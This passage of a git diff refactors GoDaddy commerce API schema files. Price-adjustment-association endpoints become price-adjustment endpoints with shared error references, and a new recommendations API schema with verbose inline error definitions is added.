"https://godaddy.com/schemas/commerce/price-adjustments/external-id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ExternalId", - "type": "object", "description": "ExternalId is a unique identifier for a resource that is not managed by the PriceAdjustments service.\nFor example, an AvalaraId is an external id that is used to identify a tax code in Avalara.\n\nNOTE: this field has no current use in the PriceAdjustments service, but is included for use in future integrations.\n", - "required": [ - "type", - "value" - ], "properties": { "type": { - "type": "string", "description": "the type of the external id", - "example": "AvalaraId" + "example": "AvalaraId", + "type": "string" }, "value": { - "type": "string", "description": "the value of the external id", - "example": "123456789" + "example": "123456789", + "type": "string" } - } - } - }, - "type": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-association-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentAssociationType", - "type": "string", - "description": "Possible types of price adjustment association; Currently only `ADJUSTMENT` is supported.", - "enum": [ - "ADJUSTMENT" - ] + }, + "required": [ + "type", + "value" + ], + "title": "ExternalId", + "type": "object" + }, + "type": "array" }, - "name": { - "type": "string", - "description": "the name for this price adjustment association" + "id": { + "description": "A unique identifier for the price adjustment. Auto-generated on creation", + "format": "uuid", + "readOnly": true, + "type": "string" }, "metadata": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Metafield", - "type": "object", "description": "Metafield to enable attachng additional contextual meta-information to a resource.", - "required": [ - "key", - "type", - "value" - ], "properties": { "key": { - "type": "string", "description": "The unique identifier for the metafield in its namespace", - "example": "shippingPolicy" + "example": "shippingPolicy", + "type": "string" }, "type": { - "type": "string", + "default": "JSON", "description": "The type of data that the metafield stores in the `value` field", "enum": [ "JSON" ], - "default": "JSON" + "type": "string" }, "value": { - "type": "string", "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", "example": "{ \"signatureRequired\" : \"true\" }", - "maxLength": 1024 - } - } - } - }, - "items": { - "type": "array", - "description": "items this price adjustment association apply to", - "items": { - "type": "object", - "properties": { - "type": { - "type": "string" - }, - "id": { + "maxLength": 1024, "type": "string" } }, "required": [ + "key", "type", - "id" - ] - } + "value" + ], + "title": "Metafield", + "type": "object" + }, + "type": "array" + }, + "name": { + "description": "The user friendly name of the price adjustment", + "example": "happy hour discount", + "type": "string" + }, + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "storeId": { + "description": "The storeId that this price adjustment belongs to", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "type": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible types of price adjustment; Currently only `DISCOUNT` and `FEE` are supported.\n - If the type is `DISCOUNT`, then the price adjustment amount should be subtracted from the total price.\n - If the type is `FEE`, then the price adjustment amount should be added to the total price.\n", + "enum": [ + "DISCOUNT", + "FEE" + ], + "title": "PriceAdjustmentType", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } + }, + "title": "PriceAdjustment", + "type": "object" + } + }, + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" } - } - }, - "responses": { + }, + "403": { + "description": "Authentication Client Error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, "200": { "description": "Successful response", "schema": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment-association.v1", + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentAssociation", - "type": "object", - "description": "Price Adjustment Association Entity; contains all the information about a price adjustment association", + "description": "Price Adjustment Entity; contains all the information about a price adjustment", "properties": { - "storeId": { - "type": "string", - "description": "The storeId that this price adjustment belongs to", - "readOnly": true, - "format": "uuid" + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "$id": "https://godaddy.com/schemas/common/currency-code.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "title": "Currency Code", + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money", + "type": "object" }, - "id": { - "type": "string", - "description": "A unique identifier for the price adjustment association. Auto-generated on creation", - "readOnly": true, - "format": "uuid" + "amountType": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/amount-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible ways to calculate the price adjustment amount; currently either a `PERCENTAGE` or `AMOUNT` is supported.\n- If the type is `AMOUNT`, the property `amount` in the request body is required.\n- If the type is `PERCENTAGE`, the property `ratePercentage` in the request body is required.\n", + "enum": [ + "AMOUNT", + "PERCENTAGE" + ], + "title": "AmountType", + "type": "string" + }, + "appliedBeforeTax": { + "description": "flag for if the price adjustment should be applied pre- or post- tax", + "example": true, + "type": "boolean" + }, + "code": { + "description": "Fee or discount code. Must be a unique code per store \n- two different stores are allowed to have the same code\n- the same store is not allowed to have two of the same code\n", + "example": "holidays2023", + "type": "string" }, "createdAt": { - "readOnly": true, - "description": "The datetime when the entity was created", "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "readOnly": true, - "description": "The datetime when the entity was last updated", - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, - "priceAdjustmentId": { - "type": "string", - "format": "uuid", - "description": "the id of the price adjustment that this price adjustment association refers to" + "description": { + "description": "The user friendly description of the price adjustment", + "example": "15% off of drinks, 10% off of food", + "type": "string" + }, + "enabled": { + "description": "flag for status of the price adjustment", + "example": true, + "type": "boolean" }, "externalIds": { - "type": "array", + "description": "external ids for this price adjustment", "items": { "$id": "https://godaddy.com/schemas/commerce/price-adjustments/external-id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ExternalId", - "type": "object", "description": "ExternalId is a unique identifier for a resource that is not managed by the PriceAdjustments service.\nFor example, an AvalaraId is an external id that is used to identify a tax code in Avalara.\n\nNOTE: this field has no current use in the PriceAdjustments service, but is included for use in future integrations.\n", - "required": [ - "type", - "value" - ], "properties": { "type": { - "type": "string", "description": "the type of the external id", - "example": "AvalaraId" + "example": "AvalaraId", + "type": "string" }, "value": { - "type": "string", "description": "the value of the external id", - "example": "123456789" + "example": "123456789", + "type": "string" } - } - } - }, - "type": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-association-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentAssociationType", - "type": "string", - "description": "Possible types of price adjustment association; Currently only `ADJUSTMENT` is supported.", - "enum": [ - "ADJUSTMENT" - ] + }, + "required": [ + "type", + "value" + ], + "title": "ExternalId", + "type": "object" + }, + "type": "array" }, - "name": { - "type": "string", - "description": "the name for this price adjustment association" + "id": { + "description": "A unique identifier for the price adjustment. Auto-generated on creation", + "format": "uuid", + "readOnly": true, + "type": "string" }, "metadata": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Metafield", - "type": "object", "description": "Metafield to enable attachng additional contextual meta-information to a resource.", - "required": [ - "key", - "type", - "value" - ], "properties": { "key": { - "type": "string", "description": "The unique identifier for the metafield in its namespace", - "example": "shippingPolicy" + "example": "shippingPolicy", + "type": "string" }, "type": { - "type": "string", + "default": "JSON", "description": "The type of data that the metafield stores in the `value` field", "enum": [ "JSON" ], - "default": "JSON" + "type": "string" }, "value": { - "type": "string", "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", "example": "{ \"signatureRequired\" : \"true\" }", - "maxLength": 1024 - } - } - } - }, - "items": { - "type": "array", - "description": "items this price adjustment association apply to", - "items": { - "type": "object", - "properties": { - "type": { - "type": "string" - }, - "id": { + "maxLength": 1024, "type": "string" } }, "required": [ + "key", "type", - "id" - ] - } - } - } - } - }, - "401": { - "description": "Unauthorized Error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "value" + ], + "title": "Metafield", + "type": "object" + }, + "type": "array" }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "403": { - "description": "Authentication Client Error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." + "name": { + "description": "The user friendly name of the price adjustment", + "example": "happy hour discount", + "type": "string" + }, + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "storeId": { + "description": "The storeId that this price adjustment belongs to", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "type": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible types of price adjustment; Currently only `DISCOUNT` and `FEE` are supported.\n - If the type is `DISCOUNT`, then the price adjustment amount should be subtracted from the total price.\n - If the type is `FEE`, then the price adjustment amount should be added to the total price.\n", + "enum": [ + "DISCOUNT", + "FEE" + ], + "title": "PriceAdjustmentType", + "type": "string" }, - "message": { - "type": "string", - "description": "The message that describes the error." + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } }, - "required": [ - "code", - "message" - ] + "title": "PriceAdjustment", + "type": "object" } }, - "404": { - "description": "Resource not found", + "401": { + "description": "Unauthorized Error", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } }, "422": { "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "500": { - "description": "Internal server error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } } }, "scopes": [ - "commerce.price-adjustment-association:write" + "commerce.price-adjustment:write" ] }, { - "operationId": "deletePriceAdjustmentAssociation", + "operationId": "deletePriceAdjustment", "method": "DELETE", - "path": "/commerce/stores/{storeId}/price-adjustment-associations/{associationId}", - "summary": "Delete a price adjustment association", - "description": "Delete a price adjustment association", + "path": "/commerce/stores/{storeId}/price-adjustments/{adjustmentId}", + "summary": "Delete a price adjustment", + "description": "Delete a price adjustment", "parameters": [ { "name": "storeId", @@ -3223,22 +2563,22 @@ "required": true, "description": "Store ID", "schema": { - "type": "string", "description": "The storeId that this price adjustment belongs to", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } }, { - "name": "associationId", + "name": "adjustmentId", "in": "path", "required": true, - "description": "Price Adjustment Association ID", + "description": "Price Adjustment ID", "schema": { - "type": "string", - "description": "A unique identifier for the price adjustment association. Auto-generated on creation", + "description": "A unique identifier for the price adjustment. Auto-generated on creation", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } } ], @@ -3246,109 +2586,39 @@ "204": { "description": "Successful response" }, - "401": { - "description": "Unauthorized Error", + "422": { + "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } }, "403": { "description": "Authentication Client Error", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } }, - "404": { - "description": "Resource not found", + "500": { + "description": "Internal server error", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } }, - "422": { - "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", + "404": { + "description": "Resource not found", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } }, - "500": { - "description": "Internal server error", + "401": { + "description": "Unauthorized Error", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } } }, "scopes": [ - "commerce.price-adjustment-association:delete" + "commerce.price-adjustment:delete" ] } ] diff --git a/rust/schemas/api/recommendations.json b/rust/schemas/api/recommendations.json new file mode 100644 index 0000000..99ba80b --- /dev/null +++ b/rust/schemas/api/recommendations.json @@ -0,0 +1,999 @@ +{ + "name": "recommendations", + "title": "GoDaddy Recommendation API", + "description": "", + "version": "1.0.0", + "baseUrl": "https://api.godaddy.com/v1/commerce", + "endpoints": [ + { + "operationId": "get_recommendations", + "method": "GET", + "path": "/recommendations", + "summary": "Return product recommendations", + "description": "Returns a recommendation with customer, business and/or product insights.", + "parameters": [ + { + "name": "customerId", + "in": "query", + "required": true, + "description": "The Customer ID", + "schema": { + "example": "3f7f3b31-3140-4479-a1ad-117afc1514a7", + "format": "uuid", + "type": "string" + } + }, + { + "name": "format", + "in": "query", + "required": false, + "description": "Format of the response", + "schema": { + "enum": [ + "rad" + ], + "type": "string" + } + }, + { + "name": "domain", + "in": "query", + "required": false, + "description": "Customer's domain", + "schema": { + "type": "string" + } + } + ], + "responses": { + "422": { + "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", + "schema": { + "$id": "https://godaddy.com/schemas/common/error.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "definitions": { + "error-details": { + "$id": "https://godaddy.com/schemas/common/error-details.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The error details. Required for client-side `4XX` errors.", + "properties": { + "description": { + "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value.", + "type": "string" + }, + "field": { + "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors.", + "type": "string" + }, + "issue": { + "description": "The unique fine-grained application-level error code.", + "type": "string" + }, + "location": { + "default": "body", + "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", + "type": "string" + }, + "value": { + "description": "The value of the field that caused the error.", + "type": "string" + } + }, + "required": [ + "issue" + ], + "title": "Error Details", + "type": "object" + }, + "link-description": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + } + }, + "description": "The error information.", + "properties": { + "correlationId": { + "description": "Internal identifier used for correlation purposes.", + "type": "string" + }, + "details": { + "additionalItems": false, + "description": "An array of additional details about the error. Required for client-side `4XX` errors.", + "items": { + "$ref": "./error-details.json" + }, + "type": "array" + }, + "informationLink": { + "description": "The URI for detailed information related to this error for the developer.", + "type": "string" + }, + "links": { + "description": "An array of error-related HATEOAS links.", + "items": { + "$ref": "./link-description.json" + }, + "readOnly": true, + "type": "array" + }, + "message": { + "description": "The message that describes the error.", + "type": "string" + }, + "name": { + "description": "The human-readable, unique name of the error.", + "type": "string" + } + }, + "required": [ + "name", + "correlationId", + "message" + ], + "title": "Error", + "type": "object" + } + }, + "401": { + "description": "Unauthorized Error", + "schema": { + "$id": "https://godaddy.com/schemas/common/error.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "definitions": { + "error-details": { + "$id": "https://godaddy.com/schemas/common/error-details.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The error details. Required for client-side `4XX` errors.", + "properties": { + "description": { + "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value.", + "type": "string" + }, + "field": { + "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors.", + "type": "string" + }, + "issue": { + "description": "The unique fine-grained application-level error code.", + "type": "string" + }, + "location": { + "default": "body", + "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", + "type": "string" + }, + "value": { + "description": "The value of the field that caused the error.", + "type": "string" + } + }, + "required": [ + "issue" + ], + "title": "Error Details", + "type": "object" + }, + "link-description": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + } + }, + "description": "The error information.", + "properties": { + "correlationId": { + "description": "Internal identifier used for correlation purposes.", + "type": "string" + }, + "details": { + "additionalItems": false, + "description": "An array of additional details about the error. Required for client-side `4XX` errors.", + "items": { + "$ref": "./error-details.json" + }, + "type": "array" + }, + "informationLink": { + "description": "The URI for detailed information related to this error for the developer.", + "type": "string" + }, + "links": { + "description": "An array of error-related HATEOAS links.", + "items": { + "$ref": "./link-description.json" + }, + "readOnly": true, + "type": "array" + }, + "message": { + "description": "The message that describes the error.", + "type": "string" + }, + "name": { + "description": "The human-readable, unique name of the error.", + "type": "string" + } + }, + "required": [ + "name", + "correlationId", + "message" + ], + "title": "Error", + "type": "object" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$id": "https://godaddy.com/schemas/common/error.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "definitions": { + "error-details": { + "$id": "https://godaddy.com/schemas/common/error-details.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The error details. Required for client-side `4XX` errors.", + "properties": { + "description": { + "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value.", + "type": "string" + }, + "field": { + "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors.", + "type": "string" + }, + "issue": { + "description": "The unique fine-grained application-level error code.", + "type": "string" + }, + "location": { + "default": "body", + "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", + "type": "string" + }, + "value": { + "description": "The value of the field that caused the error.", + "type": "string" + } + }, + "required": [ + "issue" + ], + "title": "Error Details", + "type": "object" + }, + "link-description": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + } + }, + "description": "The error information.", + "properties": { + "correlationId": { + "description": "Internal identifier used for correlation purposes.", + "type": "string" + }, + "details": { + "additionalItems": false, + "description": "An array of additional details about the error. Required for client-side `4XX` errors.", + "items": { + "$ref": "./error-details.json" + }, + "type": "array" + }, + "informationLink": { + "description": "The URI for detailed information related to this error for the developer.", + "type": "string" + }, + "links": { + "description": "An array of error-related HATEOAS links.", + "items": { + "$ref": "./link-description.json" + }, + "readOnly": true, + "type": "array" + }, + "message": { + "description": "The message that describes the error.", + "type": "string" + }, + "name": { + "description": "The human-readable, unique name of the error.", + "type": "string" + } + }, + "required": [ + "name", + "correlationId", + "message" + ], + "title": "Error", + "type": "object" + } + }, + "403": { + "description": "Authentication Client Error", + "schema": { + "$id": "https://godaddy.com/schemas/common/error.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "definitions": { + "error-details": { + "$id": "https://godaddy.com/schemas/common/error-details.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The error details. Required for client-side `4XX` errors.", + "properties": { + "description": { + "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value.", + "type": "string" + }, + "field": { + "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors.", + "type": "string" + }, + "issue": { + "description": "The unique fine-grained application-level error code.", + "type": "string" + }, + "location": { + "default": "body", + "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", + "type": "string" + }, + "value": { + "description": "The value of the field that caused the error.", + "type": "string" + } + }, + "required": [ + "issue" + ], + "title": "Error Details", + "type": "object" + }, + "link-description": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + } + }, + "description": "The error information.", + "properties": { + "correlationId": { + "description": "Internal identifier used for correlation purposes.", + "type": "string" + }, + "details": { + "additionalItems": false, + "description": "An array of additional details about the error. Required for client-side `4XX` errors.", + "items": { + "$ref": "./error-details.json" + }, + "type": "array" + }, + "informationLink": { + "description": "The URI for detailed information related to this error for the developer.", + "type": "string" + }, + "links": { + "description": "An array of error-related HATEOAS links.", + "items": { + "$ref": "./link-description.json" + }, + "readOnly": true, + "type": "array" + }, + "message": { + "description": "The message that describes the error.", + "type": "string" + }, + "name": { + "description": "The human-readable, unique name of the error.", + "type": "string" + } + }, + "required": [ + "name", + "correlationId", + "message" + ], + "title": "Error", + "type": "object" + } + }, + "200": { + "description": "Request was successful", + "schema": { + "oneOf": [ + { + "description": "Customer or Domain insights raw format", + "properties": { + "insights": { + "oneOf": [ + { + "$ref": "#/components/schemas/CustomerInsights" + }, + { + "$ref": "#/components/schemas/DomainInsights" + } + ] + } + }, + "type": "object" + }, + { + "description": "RAD Entity API Format necessary to integrate with RAD Platform", + "properties": { + "results": { + "properties": { + "data": { + "$ref": "#/components/schemas/PlainFormat" + }, + "id": { + "type": "string" + }, + "type": { + "type": 